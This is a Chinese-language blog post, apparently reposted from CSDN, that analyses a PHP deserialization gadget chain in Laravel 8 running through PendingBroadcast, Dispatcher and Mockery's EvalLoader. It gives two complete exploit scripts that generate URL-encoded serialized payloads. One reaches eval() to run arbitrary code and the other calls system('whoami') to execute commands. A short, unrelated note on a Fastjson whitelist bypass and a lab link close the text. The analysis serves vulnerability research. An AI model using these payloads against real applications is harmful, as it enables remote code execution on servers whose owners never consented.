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laravel的版本已经到了8;这里分析一个laravel8的反序列化漏洞,但是让我感到意外的是,这个漏洞竟然在低版本的laravel上依然可以存在,从根本来说这个漏洞是laravel的mockery组件漏洞,没想到一直没修;
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首先还是老样子,熟悉laravel的pop链的师傅肯定比较熟悉,入口点还是PendingBroadcast.php中的析构函数;
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public function __destruct()
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{
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$this->events->dispatch($this->event);
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}
这里很明显可以控制任意类下的dispatch函数;这里还是选择Dispatcher.php进行续链;
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public function dispatch($command)
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{
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return $this->queueResolver && $this->commandShouldBeQueued($command)
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? $this->dispatchToQueue($command)
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: $this->dispatchNow($command);
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}
这里简单的看下源码,感兴趣的师傅可以拿着laravel5的源码来进行对比,这里只不过是写成了三元运算的形式,本质上还是一样的,我们控queueResolver变量和commandShouldBeQueued函数,使其返回为真,这样就可进入dispatchToQueue函数;这里审计下类不难发现queueResolver是我们可控的变量,然而commandShouldBeQueued函数我们可以追溯一下;
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protected function commandShouldBeQueued($command)
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{
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return $command instanceof ShouldQueue;
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}
这里不难发现,是需要我们的command是继承ShouldQueue接口的类就可;所以全局搜索;选择BroadcastEvent.php的类;然后便可返回true,然后进入dispatchToQueue函数;回溯一下dispatchToQueue函数;
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public function dispatchToQueue($command)
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{
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$connection = $command->connection ?? null;
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$queue = call_user_func($this->queueResolver, $connection);
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可以发现这里有个危险函数call_user_func;可以直接实现任意类下的任意方法;这里就可直接跳转到我们想要执行的方法下;全局搜索一下eval方法;发现存在;
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class EvalLoader implements Loader
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{
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public function load(MockDefinition $definition)
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{
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if (class_exists($definition->getClassName(),
false)) {
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return;
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}
-
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eval(
"?>" . $definition->getCode());
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}
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}
call_user_func函数在第一个参数为数组的时候,第一个参数就是我们选择的类,第二个参数是类下的方法;所以这里直接去到EvalLoader类,去执行load方法从而调用到eval函数;这里发现存在参数,而且参数必须是MockDefinition类的实例;也即是意味着我们connection需要为MockDefinition类的实例;
继续审计发现,必须if为false才会触发eval方法;所以这里我们需要直接追溯到MockDefinition类中;
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class MockDefinition
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{
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protected $config;
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protected $code;
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public function __construct(MockConfiguration $config, $code)
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{
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if (!$config->getName()) {
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throw
new \InvalidArgumentException(
"MockConfiguration must contain a name");
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}
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$this->config = $config;
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$this->code = $code;
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}
-
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public function getConfig()
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{
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return $this->config;
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}
-
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public function getClassName()
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{
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return $this->config->getName();
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}
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public function getCode()
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{
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return $this->code;
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}
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}
看下getClassName函数;这里的config是可控的,所以我们直接找到一个存在getName方法并且可控该方法的类;全局搜索下找到MockConfiguration.php可以实现;
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protected $name;
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public function getName()
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{
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return $this->name;
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}
因为最后是要经过class_exit函数的判断的,所以我们可以直接控制其返回一个不存在的类,就会造成false从而进入eval方法;继续回到eval方法;
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class EvalLoader implements Loader
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{
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public function load(MockDefinition $definition)
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{
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if (class_exists($definition->getClassName(),
false)) {
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return;
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}
-
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eval(
"?>" . $definition->getCode());
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}
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}
这里还有个getCode方法,我们通过上面的类也可审计getCode方法;code在MockDefinition类中也是可控的,所以我们可以随意的控制其内容,那么我们就可命令执行;放出我exp:
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<?php
-
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namespace Illuminate\Broadcasting{
-
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use Illuminate\Contracts\Events\Dispatcher;
-
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class PendingBroadcast
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{
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protected $event;
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protected $events;
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public function __construct($events, $event)
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{
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$this->event = $event;
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$this->events = $events;
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}
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}
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}
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namespace Illuminate\Bus{
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class Dispatcher
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{
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protected $queueResolver;
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public function __construct($queueResolver)
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{
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$this->queueResolver = $queueResolver;
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}
-
-
}
-
}
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namespace Illuminate\Broadcasting{
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class BroadcastEvent
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{
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public $connection;
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public function __construct($connection)
-
{
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$this->connection = $connection;
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}
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}
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}
-
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namespace Mockery\Loader{
-
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use Mockery\Generator\MockDefinition;
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class EvalLoader
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{
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public function load(MockDefinition $definition)
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{}
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}
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}
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namespace Mockery\Generator{
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class MockConfiguration
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{
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protected $name;
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public function __construct($name){
-
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$this->name = $name;
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}
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}
-
-
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}
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namespace Mockery\Generator{
-
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class MockDefinition
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{
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protected $config;
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protected $code;
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public function __construct($config,$code)
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{
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$this->config = $config;
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$this->code = $code;
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}
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}
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}
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namespace{
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$e =
new Mockery\Generator\MockConfiguration(
's1mple');
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$d =
new Mockery\Loader\EvalLoader();
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$f =
new Mockery\Generator\MockDefinition($e,
'<?php phpinfo();?>');
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$c =
new Illuminate\Broadcasting\BroadcastEvent($f);
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$a =
new Illuminate\Bus\Dispatcher(array($d,
"load"));
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$b =
new Illuminate\Broadcasting\PendingBroadcast($a,$c);
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echo urlencode(serialize($b));
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}
这里为了节省时间,我最后用abcdef直接代替了,造成rce;
细心的师傅想必也发现了;在最开始的call_user_func处,也是可以进行命令执行的;
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public function dispatchToQueue($command)
-
{
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$connection = $command->connection ?? null;
-
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$queue = call_user_func($this->queueResolver, $connection);
这里可以直接控制进行命令执行;这个很简单,就直接放出我exp吧;
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<?php
-
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namespace Illuminate\Broadcasting{
-
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use Illuminate\Contracts\Events\Dispatcher;
-
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class PendingBroadcast
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{
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protected $event;
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protected $events;
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public function __construct($events, $event)
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{
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$this->event = $event;
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$this->events = $events;
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}
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}
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}
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namespace Illuminate\Bus{
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class Dispatcher
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{
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protected $queueResolver;
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public function __construct($queueResolver)
-
{
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$this->queueResolver = $queueResolver;
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}
-
-
}
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}
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namespace Illuminate\Broadcasting{
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class BroadcastEvent
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{
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public $connection;
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public function __construct($connection)
-
{
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$this->connection = $connection;
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}
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}
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}
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namespace{
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$c =
new Illuminate\Broadcasting\BroadcastEvent(
'whoami');
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$a =
new Illuminate\Bus\Dispatcher(
'system');
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$b =
new Illuminate\Broadcasting\PendingBroadcast($a,$c);
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echo urlencode(serialize($b));
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}
https://www.hetianlab.com/expc.do?ec=ECID49a7-7e01-41dd-9edd-c051743c427f&pk_campaign=csdn-wemedia#stu
Fastjson是阿里巴巴公司开源的一款json解析器,其性能优越,被广泛应用于各大厂商的Java项目中。fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令。
转载:https://blog.csdn.net/qq_38154820/article/details/114610513